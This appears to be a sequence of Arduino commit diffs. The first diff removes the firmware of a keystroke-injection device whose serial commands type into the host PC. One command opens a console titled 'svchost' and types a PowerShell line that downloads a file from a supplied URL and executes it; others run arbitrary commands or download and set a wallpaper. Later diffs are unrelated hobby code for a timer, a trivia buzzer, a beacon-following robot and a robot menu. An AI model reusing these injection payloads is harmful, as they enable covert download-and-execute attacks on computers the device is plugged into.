-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('>');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Decrease font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('<');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Select all"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('a');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Bold"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('b');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Underline"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('u');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"click"))
-  {
-    Mouse.click();
-  }
-
-  if(StrStartsWith(inStr, "DE:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //DE:t,type:est,end (download and execute)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "DE:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
-    typeKey(KEY_RETURN);
-  }
-
-
-  if(StrStartsWith(inStr, "YT:") && StrEndsWith(inStr, ",end")) //YT:t,end (Youtube)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
-    Print("www.youtube.com/embed/");
-    Print(inStr);
-    Print("?rel=0&autoplay=1");
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "YTB:") && StrEndsWith(inStr, ",end"))//youtube control buttons
-  {
-    ExtractDeliveredText(inStr, 4);
-    if(StrContains(inStr, "PP")){Print(" ");}//pause/play
-    else if(StrContains(inStr, "F5")){Keyboard.press(KEY_RIGHT_ARROW);}//forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
-    else if(StrContains(inStr, "B5")){Keyboard.press(KEY_LEFT_ARROW);}//backward 5s
-    else if(StrContains(inStr, "GB")){Keyboard.press(KEY_HOME);}//go to begining
-    else if(StrContains(inStr, "GE")){Keyboard.press(KEY_END);}//go to end
-    else if(StrContains(inStr, "CA")){Print("c");}//captions tog
-    else if(StrContains(inStr, "IS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}//increase speed (may not work in all browsers)
-    else if(StrContains(inStr, "DS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}//decrease speed
-    else if(StrContains(inStr, "IV")){Keyboard.press(KEY_UP_ARROW);}//increase vol
-    else if(StrContains(inStr, "DV")){Keyboard.press(KEY_DOWN_ARROW);}//decrease vol
-    else if(StrContains(inStr, "PV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}//previous video (in a playlist)
-    else if(StrContains(inStr, "NV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}//next video
-    else if(StrContains(inStr, "FS")){Print("f");}//full screen tog
-    else if(StrContains(inStr, "F11")){Keyboard.press(KEY_F11);}//full screen browser tog
-    delay (70);
-    Keyboard.releaseAll();
-  }
-
-  if(StrStartsWith(inStr, "WS:") && StrEndsWith(inStr, ",end")) //WS:t,end (website)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EP:") && StrEndsWith(inStr, ",end")) //EP:t,end (execute program)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    delay(100);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EC:") && StrEndsWith(inStr, ",end")) //EC:t,end (execute command)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openCmd();
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-    Print(inStr);
-    if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){typeKey(KEY_RETURN); delay(50); Print("echo a");} //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
-
-    Print(" & exit");
-    typeKey(KEY_RETURN);
-    delay(100);
-  }
-
-  //.
-
-
-
-  if(StrStartsWith(inStr ,"PT:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-  }
-
-  if(StrStartsWith(inStr ,"TE:") && StrEndsWith(inStr, ",end")) //(direct text instruction but with enter at the end )
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-    delay(20);
-    Keyboard.press(KEY_RETURN);
-    delay(20);
-    Keyboard.release(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "ENC,") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    byte encodingFactor=255;
-    switch (inStr[4]) //5th letter is D, U or M depending on the type of 3 encoding factors
-    {
-      case 'D':
-        {
-          encodingFactor=0;
-        }
-        break;
-
-      case 'U':
-        {
-          encodingFactor=1;
-        }
-        break;
-      case 'M':
-        {
-          encodingFactor=2;
-        }
-        break;
-      case 'N':
-        {
-          ExtractDeliveredText(inStr, 6);
-          sprintf(encodingName, "%s\0", inStr);
-          EEPROM.put(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
-          for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
-          return;
-        }
-        break;
-      default:
-        {
-          Serial.print(F("Error: Incorrect encoding factor."));
-          return;
-        }
-        break;
-    }
-
-    ExtractDeliveredText(inStr, 6);
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("Received:\n");}
-
-    for(byte offset=0; offset<strlen(inStr); offset+=2)
-    {
-      byte strValBuff[3]={inStr[offset],inStr[offset+1],'\0'};
-
-      Encoding[encodingFactor][offset/2] = (byte)strtoul((char*)strtok(strValBuff, " "),NULL,16);//(((byte)inStr[offset]) * 16) + (byte)inStr[offset+1];
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset/2], HEX);
-        Serial.print(F("-"));
-        Serial.print(offset);
-        Serial.print(F("  "));
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print(F("\nSaved to EEPROM:\n"));}
-
-    //save to EEPROM
-    for(byte offset=0; offset<ENCODING_SIZE; offset++)
-    {
-      Encoding[encodingFactor][offset] = ((offset<(strlen(inStr)/2)) ? Encoding[encodingFactor][offset] : 0);
-      EEPROM.put(offset+1+(ENCODING_SIZE*encodingFactor), Encoding[encodingFactor][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset], HEX);
-        Serial.print(F(","));
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print(F("\n\n"));}
-
-  }
-
-  if(StrStartsWith(inStr, "SW:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //SW:t,type:est,end (download and set as a wallpaper)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "SW:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
-    Print(fileFormat);
-    Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr ,"ML:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    if(!strcmp(inStr,"Enabled"))
-    {
-      useMultiLangWindowsMethod = true;
-      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, true);
-      if(LOG_SERIAL){Serial.println(F("MultiLang method (Windows only) has been enabled."));}
-    }
-    else if(!strcmp(inStr,"Disabled"))
-    {
-      useMultiLangWindowsMethod = false;
-      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, false);
-      if(LOG_SERIAL){Serial.println(F("MultiLang method (Windows only) has been disabled."));}
-    }
-  }
-
-  for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
-}
-
-/*
-ENC,D:2122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414D5157595A5B5C5D5E5F6061696D7177797A7B7C7D7E,end
-ENC,U:317E333435373238392D345C3D2F37303132333435363738392F5C2C302E2D71616D7177797A382D39333D5C61226D7177797A375C305D,end
-ENC,M:81008686818181818100810000008100000000000000000000818181818181868181818181818686868181860000000000000086818686,end
-*/
-
-void ExtractDeliveredText(char *inStr, byte ignoredStartingChars) //gets rid of the first 3 chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
-{
-  byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;
-
-  for(byte i=0;i<=len;i++)
-  {
-    inStr[i] = inStr[i+ignoredStartingChars];
-    if(i == len)
-    {
-      inStr[i] = '\0';
-    }
-  }
-}
-
-int SubStrIndex(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len = strlen(str);
-
-    if (strlen(sfind) > len)
-    {
-        return 0;
-    }
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found)
-            {
-                index = index - strlen(sfind) + 1;
-                return index;
-            }
-        }
-        else{found = 0;}
-
-        index++;
-    }
-
-    return 0;
-}
-
-bool StrContains(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len;
-
-    len = strlen(str);
-
-    if (strlen(sfind) > len) {return false;}
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found) {return true;}
-        }
-        else {found = 0;}
-
-        index++;
-    }
-    return false;
-}
-
-bool StrStartsWith(char* str, char* desiredStart)
-{
-  if(strlen(desiredStart)>strlen(str)){return false;}
-
-  byte matching = 0;
-  for(byte i=0; i < strlen(desiredStart); i++)
-    if(str[i] == desiredStart[i])
-      matching++;
-
-  if(matching == strlen(desiredStart))
-    return true;
-
-  return false;
-}
-
-bool StrEndsWith(char* str, char* desiredEnd)
-{
-  if(strlen(desiredEnd)>strlen(str))
-  {
-    return false;
-  }
-  byte matching = 0;
-  byte desiredEndLen = strlen(desiredEnd);
-  byte baseStrLen = strlen(str);
-  for(byte i=0;i<strlen(desiredEnd);i++)
-  {
-    if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i]){matching++;}
-  }
-
-  if(matching == desiredEndLen){return true;}
-
-  return false;
-}
-
-
-
-void Print(char *inStr)
-{
-
-  //Print_WinMultiLangCHAR_PTR(inStr);
-  //return;
-
-  int enc_index;
-
-  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
-  {
-    if (useMultiLangWindowsMethod && ((!isalnum(inStr[i]) && inStr[i] != ' ') || IsException(inStr[i]))) //if character is punctuation or requires different button to be pressed in different keyboard language settings then use alt+numpad method
-    //if(IsCharSpecial(inStr[i]))
-    {
-      //Serial.print("special char = ");
-      //Serial.println(inStr[i]);
-
-      byte hundreds = (byte)inStr[i] / 100;
-      byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
-      byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
-
-      //Serial.print(hundreds);
-      //Serial.print(dozens);
-      //Serial.println(singles);
-
-      Keyboard.press(KEY_LEFT_ALT);
-      PressRelease((char)KEYPAD[hundreds], 5);
-      PressRelease((char)KEYPAD[dozens], 5);
-      PressRelease((char)KEYPAD[singles], 5);
-      Keyboard.releaseAll();
-      continue;
-    }
-
-
-    enc_index = GetKeyIndex(inStr[i], Encoding[ENCODING_BYTE_DESIRED]);
-    if(enc_index < 256) //256 means it's a key not present in the array (key which does not need a substitution because it is the same for any keyboard setting)
-    {
-      if(Encoding[ENCODING_BYTE_MODIFIER][enc_index] > 0)
-      {
-        Keyboard.press(Encoding[ENCODING_BYTE_MODIFIER][enc_index]);
-        delay(5);
-      }
-
-      Keyboard.press(Encoding[ENCODING_BYTE_USED][enc_index]);
-      delay(5);
-
-      //Serial.print(inStr[i]);
-      //Serial.print(", ");
-      //Serial.print(Desired_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print(Modifier_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print(Used_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print("\n");
-
-    }
-    else
-    {
-      Keyboard.press(inStr[i]);
-      //Serial.print(", ");
-      //Serial.println(inStr[i]);
-      delay(5);
-
-    }
-
-    Keyboard.releaseAll();
-  }
-}
-
-int GetKeyIndex(byte c, byte* char_array)
-{
-  for(byte i=0;i<strlen(char_array);i++)
-  {
-    if(c == char_array[i])
-    {
-      return i;
-    }
-  }
-  return 256;
-}
-
-
-/*
-void Print_WinMultiLangCHAR_PTR(char *inStr)
-{
-  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
-  {
-    byte hundreds = (byte)inStr[i] / 100;
-    byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
-    byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
-
-    Keyboard.press(KEY_LEFT_ALT);
-    PressRelease((char)KEYPAD[hundreds], 5);
-    PressRelease((char)KEYPAD[dozens], 5);
-    PressRelease((char)KEYPAD[singles], 5);
-    Keyboard.releaseAll();
-  }
-}
-
-void Print_WinMultiLangSTR(String inStr)
-{
-  for(byte i=0; i<inStr.length(); i++)//for each character in the string
-  {
-    byte hundreds = (byte)inStr.charAt(i) / 100;
-    byte dozens = ((byte)inStr.charAt(i) - (hundreds*100)) / 10;
-    byte singles = (byte)inStr.charAt(i) - (hundreds*100) - (dozens*10);
-
-    Keyboard.press(KEY_LEFT_ALT);
-    PressRelease((char)KEYPAD[hundreds], 5);
-    PressRelease((char)KEYPAD[dozens], 5);
-    PressRelease((char)KEYPAD[singles], 5);
-    Keyboard.releaseAll();
-  }
-}
-
-*/
-
-void PressRelease(char c, byte timeDelay)
-{
-  Keyboard.press(c);
-  delay(timeDelay);
-  Keyboard.release(c);
-}
-
-
-/*
-Exceptions are the letters that require different button being pressed in different lang settings
-(so if letter == exception then use alt+numpad method, otherwise use the normal typing because it's faster to press 1 instead of 4 buttons)
-these exceptions are listed to make the typing process faster because using alt+numpad method for all the characters appears to be too slow
-
-german - yz
-french - qamwz
-dutch - qamwz
-turkish - i
-azerbaijani - totally uncompatible
-*/
-
-#define EXCEPTIONS_SIZE 14
-char exceptions[EXCEPTIONS_SIZE] = {
-  'y','Y',
-  'z','Z',
-  'q','Q',
-  'a','A',
-  'm','M',
-  'w','W',
-  'i','I',
-};
-
-/*
-bool IsCharSpecial(char c)
-{
-  byte b = (byte)c;
-  if((b == 32 || (b >= 49 && b <= 57) || (b >= 65 && b <= 90) || (b >= 97 && b <= 122)) && IsntException(b))
-  {
-    return false;
-  }
-  return true;
-}
-*/
-
-bool IsException(char c)
-{
-  for(byte i=0; i<EXCEPTIONS_SIZE; i++)
-  {
-    if(c == exceptions[i])
-    {
-      return true;
-    }
-  }
-  return false;
-}
-
-


Change of time when RTC should be updated

--- elfi/elfi.ino
+++ elfi/elfi.ino
@@ -125,7 +125,7 @@
 const uint8_t off = 0;

 FunctionTimer functionTimers[1] = {
-  FunctionTimer(weekDays,   6, 40,  0, &update_RTC),   //  1 Update the RTC
+  FunctionTimer(weekDays,   3,  0,  0, &update_RTC),   //  1 Update the RTC
 };

 DeviceTimer deviceTimers[6] = {


Update HelloWorld.ino

Update HelloWorld.ino

--- IHM595/exemples/HelloWorld/HelloWorld.ino
+++ IHM595/exemples/HelloWorld/HelloWorld.ino
@@ -13,7 +13,6 @@
 IHM595 board(2,3,4);

 void setup() {
-  board.begin();
   board.background(HIGH);
   board.set(2,0);
   String a = "Hello World!";


Reliable latch and reset. Team/player models

--- trivia_box/trivia_box.ino
+++ trivia_box/trivia_box.ino
@@ -19,18 +19,43 @@
       digitalWrite(pin, HIGH);
     }
   }
+
+  // Use analog 0 pullup-resistor for faster resets.
+  digitalWrite(A0, HIGH);
 }

 void loop() {
-  for (int team=0; team < NUM_TEAMS; team++) {
-    for (int player=0; player < PLAYERS_PER_TEAM; player++) {
-      int pin = teams[team][player];
-      int state = digitalRead(pin);
-      Serial.print(pin);
-      Serial.print(" ");
-      Serial.println(state);
+  Serial.println("--------- Ready --------------------");
+
+  while (analogRead(14) < 100)
+    ;
+
+  Serial.println("----------- GO! -------------");
+
+  int winning_team = -1;
+  int winning_player = -1;
+
+  while (winning_team == -1) {
+    for (int team=0; team < NUM_TEAMS && winning_team == -1; team++) {
+      for (int player=0; player < PLAYERS_PER_TEAM && winning_player == -1; player++) {
+        int pin = teams[team][player];
+        int state = digitalRead(pin);
+
+        if (state == 0) {
+           winning_team = team;
+           winning_player = player;
+        }
+      }
     }
   }
-  delay(500);
-  Serial.println("-----------------------------");
+
+  Serial.print("Winning Team: ");
+  Serial.print(winning_team);
+  Serial.print(", Winning Player: ");
+  Serial.println(winning_player);
+  Serial.println("--------- Waiting for Reset ---------------");
+
+  while (analogRead(14) >= 100)
+    ;
+
 }


Updated IR-beacon navigation test

Updated IR-beacon navigation test

--- Tests/IRBeacon_navigation_test/IRBeacon_navigation_test.ino
+++ Tests/IRBeacon_navigation_test/IRBeacon_navigation_test.ino
@@ -1,21 +1,22 @@
 #include <Servo.h>

-const int IR_BEACON_L_PIN  = A0;
-const int IR_BEACON_R_PIN = A1;
+const int IR_BEACON_L_PIN  = A4;
+const int IR_BEACON_R_PIN = A5;
 const int SERVO_L_PIN = 13;
 const int SERVO_R_PIN = 12;

 // Constants for servo
 Servo servoRight;
 Servo servoLeft;
-int servoLeftForward = 1550;
-int servoLeftBackward = 1450;
-int servoRightForward = 1450;
-int servoRightBackward = 1550;
+int servoLeftForward = 1530;
+int servoLeftBackward = 1470;
+int servoRightForward = 1470;
+int servoRightBackward = 1530;

 const float analogConversionFactor = 5.0 / 1024.0;
-float irBeaconLeftVal, irBeaconRightVal, tmpSum, irBeaconMeanValue;
-float leftSum, rightSum;
+float beaconLeftVal, beaconRightVal, tmpSum, irBeaconMeanValue;
+float beaconLeftCount, beaconRightCount;
+
 void setup() {
   Serial.begin(9600);
   pinMode(IR_BEACON_L_PIN, INPUT);
@@ -23,29 +24,66 @@
   servoLeft.attach(SERVO_L_PIN);
   servoRight.attach(SERVO_R_PIN);

-  leftSum = rightSum = 0;
+  beaconLeftCount = beaconRightCount = 0;
+  initialBeaconScan();
 }

 void loop() {
-  irBeaconLeftVal  = analogRead(IR_BEACON_L_PIN) * analogConversionFactor;
-  irBeaconRightVal = analogRead(IR_BEACON_R_PIN) * analogConversionFactor;
+  checkForBeacon(100);

-  if(irBeaconLeftVal == 0 && irBeaconRightVal > 0) {
-    leftSum++;
-  } else if(irBeaconRightVal == 0 && irBeaconLeftVal > 0) {
-    rightSum++;
-  } else if(irBeaconRightVal == 0 && irBeaconLeftVal == 0){
-    leftSum = rightSum = 0;
+  Serial.println("Left: "+String(beaconLeftVal)+"Right "+String(beaconRightVal));
+
+  steerTowardsBeacon();
+}
+
+void steerTowardsBeacon(){
+  if(beaconLeftCount - beaconRightCount <= -2 ){
+    turnRight(servoLeft,servoRight);
+    //Serial.println("Turn right "+String(beaconLeftCount - beaconRightCount));
+  } else if (beaconLeftCount - beaconRightCount >= 2 ){
+    turnLeft(servoLeft,servoRight);
+    //Serial.println("Turn left "+String(beaconLeftCount - beaconRightCount));
+  } else { //beaconLeftCount == beaconRightCount
+    moveForward(servoLeft,servoRight);
+    //Serial.println("Move forward "+String(beaconLeftCount - beaconRightCount));
   }
-
-  if(leftSum < rightSum){
-    turnRight(servoLeft,servoRight);
-  } else if (leftSum > rightSum){
+}
+void checkForBeacon(int milliseconds){
+  for(int i=0; i<milliseconds/10; i++){
+    beaconLeftVal  = analogRead(IR_BEACON_L_PIN) * analogConversionFactor;
+    beaconRightVal = analogRead(IR_BEACON_R_PIN) * analogConversionFactor;
+    if(beaconLeftVal == 0 && beaconRightVal > 0) {
+      beaconLeftCount++;
+    } else if(beaconRightVal == 0 && beaconLeftVal > 0) {
+      beaconRightCount++;
+    } else if(beaconRightVal == 0 && beaconLeftVal == 0){
+      beaconLeftCount = beaconRightCount = 0;
+    }
+     delay(10);
+  }
+}
+
+void initialBeaconScan(){
+  Serial.println("Initial bacon scan!");
+  bool foundSomething = false;
+  int pauseTime = 500;
+  while(!foundSomething){
+    stopMovement(servoLeft,servoRight);
+    for(int i=0; i<pauseTime/10; i++){
+      beaconLeftVal  = analogRead(IR_BEACON_L_PIN) * analogConversionFactor;
+      beaconRightVal = analogRead(IR_BEACON_R_PIN) * analogConversionFactor;
+      delay(10);
+      if(beaconLeftVal == 0 && beaconRightVal == 0){
+        Serial.println("Initial bacon scan complete");
+        tone(6,1000,500);
+        foundSomething = true;
+        break;
+      }
+    }
     turnLeft(servoLeft,servoRight);
-  } else { //leftSum == rightSum
-    moveForward(servoLeft,servoRight);
+    delay(100);
   }
-  delay(100);
+  stopMovement(servoLeft,servoRight);
 }

 void turnLeft(Servo servoLeft, Servo servoRight){
@@ -60,4 +98,8 @@
   servoLeft.writeMicroseconds(servoLeftForward);
   servoRight.writeMicroseconds(servoRightForward);
 }
+void stopMovement(Servo servoLeft, Servo servoRight){
+  servoLeft.writeMicroseconds(1500);
+  servoRight.writeMicroseconds(1500);
+}


Update BotMenu.ino Ajout de l'envoi de l'ordre I2C pour démarrer le robot

--- Ecran/BotMenu/BotMenu.ino
+++ Ecran/BotMenu/BotMenu.ino
@@ -19,19 +19,31 @@
 #include "i2cCommunication.h"

-//____________________________________________________________________________________________________
+//___________________________________________________________________________________________________
 //Communication avec la uno
 #define _SENDADRESS_01_ 8
 #define _RECEIVEADRESS_01_ 9
 //Communication avec la pince
 #define _SENDADRESS_02_ 10
 #define _RECEIVEADRESS_02_ 11
+//Communication avec la due
+#define _SENDADRESS_03_ 12
+#define _RECEIVEADRESS_03_ 13

 //____________________________________________________________________________________________________
 //=================================================
 // Variables globales
 int finInitialisationMoteur = 0;
+
+/*Tableau de correspondance des variables
+0 => rb_select_strat
+1 => finInitialisationMoteur
+2 =>
+3 =>
+4 =>
+5 =>
+*/

 //____________________________________________________________________________________________________
@@ -65,10 +77,37 @@
  * \brief fonction qui lance le robot avec les paramètres sélctionnées par la stratégie
  * \param
  */
-void fn_start_robot(m2_el_fnarg_p fnarg) {
+void fn_start_robot(m2_el_fnarg_p fnarg)
+{
   Serial.print("Start robot avec la strategie ");
   Serial.println(rb_select_strat + 1);
-}
+  /*
+  switch ( rb_select_strat )
+  {
+     case 0:
+        Serial.println("switch case 0");
+        break;
+     case 1:
+        Serial.println("switch case 1");
+        break;
+     case 2:
+        Serial.println("switch case 2");
+        break;
+     case 3:
+        Serial.println("switch case 3");
+        break;
+     default:
+        Serial.println("switch case non prevu");
+  }
+  */
+  // conversion sur 2 octets de la valeur à envoyer
+  byte bytesTab[2];
+  intTo2Bytes(bytesTab, rb_select_strat);
+  // envoi
+  i2csend3bytes(rb_select_strat, bytesTab[0], bytesTab[1], _SENDADRESS_03_);    // Envoi de rb_select_strat (0 dans le tableau de correspondance)
+
+}
+

 M2_LABEL(el_rb_label1, NULL, "strategie 1");
 M2_RADIO(el_rb_radio1, "v0", &rb_select_strat);
@@ -94,69 +133,6 @@
 };
 M2_GRIDLIST(el_rb_grid, "c2",list_rb);
 M2_ALIGN(el_top_rb, "-1|1W64H64", &el_rb_grid);
-
-
-//____________________________________________________________________________________________________
-/*=== combo examples  ===*/
-
-uint8_t select_coord = 0;
-uint8_t select_priority = 0;
-
-
-void fn_ok(m2_el_fnarg_p fnarg) {
-  /* accept selection */
-  m2_SetRoot(&top_el_expandable_menu);
-}
-
-
-void fn_cancel(m2_el_fnarg_p fnarg) {
-  /* discard selection */
-  m2_SetRoot(&top_el_expandable_menu);
-}
-
-
-const char *fn_idx_to_color(uint8_t idx)
-{
-  switch(idx)
-  {
-    case 0: return "a";
-    case 1: return "b";
-    case 2: return "c";
-  }
-  return "";
-}
-
-
-const char *fn_idx_to_priority(uint8_t idx)
-{
-  switch(idx)
-  {
-    case 0: return "lowest";
-    case 1: return "low";
-    case 2: return "medium";
-    case 3: return "high";
-    case 4: return "highest";
-  }
-  return "";
-}
-
-
-M2_LABEL(el_label1, NULL, "Init:");
-M2_COMBO(el_combo1, NULL, &select_coord, 2, fn_idx_to_color);
-
-M2_LABEL(el_label2, NULL, "Priority: ");
-M2_COMBO(el_combo2, "v1", &select_priority, 5, fn_idx_to_priority);
-
-M2_BUTTON(el_cancel, "f4", "cancel", fn_cancel);
-M2_BUTTON(el_ok, "f4", "ok", fn_ok);
-
-M2_LIST(list_combo) = {
-    &el_label1, &el_combo1,
-    &el_label2, &el_combo2,
-    &el_cancel, &el_ok
-};
-M2_GRIDLIST(el_combo_grid, "c2", list_combo);
-M2_ALIGN(el_top_combo, "-1|1W64H64", &el_combo_grid);

 //____________________________________________________________________________________________________
@@ -223,6 +199,7 @@
   */
 }

+
 /*
 M2_LABEL(el_num_label1, NULL, "Variable");
 M2_U8NUM(el_num_1, NULL, 0, 255, &u8num);
@@ -300,6 +277,69 @@
 };
 M2_VLIST(el_muse_vlist, "c2", muse_list);
 M2_ALIGN(top_el_muse, "-1|1W64H64", &el_muse_vlist);
+
+
+//____________________________________________________________________________________________________
+/*=== combo examples  ===*/
+
+uint8_t select_coord = 0;
+uint8_t select_priority = 0;
+
+
+void fn_ok(m2_el_fnarg_p fnarg) {
+  /* accept selection */
+  m2_SetRoot(&top_el_expandable_menu);
+}
+
+
+void fn_cancel(m2_el_fnarg_p fnarg) {
+  /* discard selection */
+  m2_SetRoot(&top_el_expandable_menu);
+}
+
+
+const char *fn_idx_to_color(uint8_t idx)
+{
+  switch(idx)
+  {
+    case 0: return "a";
+    case 1: return "b";
+    case 2: return "c";
+  }
+  return "";
+}
+
+
+const char *fn_idx_to_priority(uint8_t idx)
+{
+  switch(idx)
+  {
+    case 0: return "lowest";
+    case 1: return "low";
+    case 2: return "medium";
+    case 3: return "high";
+    case 4: return "highest";
+  }
+  return "";
+}
+
+
+M2_LABEL(el_label1, NULL, "Init:");
+M2_COMBO(el_combo1, NULL, &select_coord, 2, fn_idx_to_color);
+
+M2_LABEL(el_label2, NULL, "Priority: ");
+M2_COMBO(el_combo2, "v1", &select_priority, 5, fn_idx_to_priority);
+
+M2_BUTTON(el_cancel, "f4", "cancel", fn_cancel);
+M2_BUTTON(el_ok, "f4", "ok", fn_ok);
+
+M2_LIST(list_combo) = {
+    &el_label1, &el_combo1,
+    &el_label2, &el_combo2,
+    &el_cancel, &el_ok
+};
+M2_GRIDLIST(el_combo_grid, "c2", list_combo);
+M2_ALIGN(el_top_combo, "-1|1W64H64", &el_combo_grid);

 //____________________________________________________________________________________________________
@@ -422,22 +462,25 @@
 M2_ALIGN(el_top_fs, "-1|1W64H64", &el_fs_hlist);

+//____________________________________________________________________________________________________
 // Left entry: Menu name. Submenus must have a '.' at the beginning
 // Right entry: Reference to the target dialog box (In this example all menus call the toplevel element again
 m2_menu_entry m2_2lmenu_data[] =
 {
   { "Epreuve", NULL },
   { ". Strategie", &el_rb_grid },
-  { ". Initialisation", &el_top_combo },
-  { "Tests", NULL },
+  { ". Initialisation", &top_el_expandable_menu },
+  { "Tests robots", NULL },
   { ". Test I2C", &el_top_num_menu },
